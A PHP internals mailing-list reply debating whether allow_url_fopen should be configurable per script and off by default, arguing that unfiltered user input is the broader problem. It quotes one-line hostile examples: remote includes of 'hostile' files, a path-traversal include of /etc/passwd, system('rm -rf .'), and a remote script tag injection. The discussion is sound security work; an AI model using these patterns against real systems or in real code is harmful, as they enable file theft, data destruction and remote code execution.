Re: [PHP-DEV] allow_url_fopen should be INI_ALL

[Rasmus Lerdorf]

Russell Nelson wrote:
> Yasuo Ohgaki writes:
>  > 1) change allow_url_fopen to INI_ALL
>  > 2) disable allow_url_fopen by default
>  > 
>  > I would like to see these changes in PHP 5.1 and PHP 4.4, since this
>  > is security related changes.
> 
> What problem are you trying to solve?  Attacks against the very common
> misuse of:
>    include "http://example.com/hostile.php"; ?
> Or attacks against a graphics library:
>    getimagesize("http://example.com/hostile.jpg";)
> or XML parser:
>    simplexml_load_file("http://example.com/hostile.xml";)
> 
> Derick Rethans writes:
>  > I disagree. With proper filtering, or using non-user-supplied 
>  > information there is no problem.
> 
> The problem is that naive programmers think there is no problem
> withOUT proper filtering.  The sharp edges of 'include' are not
> visible enough.  I'll bet you that people would not use 'include' and
> 'includeremotehostilecode' in the identical manner.

How is this any different from

include "../../../../../etc/passwd";

Or

system("rm -rf .");

Or

echo $user_data;

where $user_data contains:
<script src="http://remote.host/foo.js";></script>

There are a lot of places where unfiltered user input can cause some
rather severe problems.

I agree that we need to improve the overall level of security in PHP,
but I am not sure that focusing on allow_url_fopen is very constructive.
 There are far far more web sites that have these other unfiltered user
data issues than have url_fopen issues.

-Rasmus

-- 
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php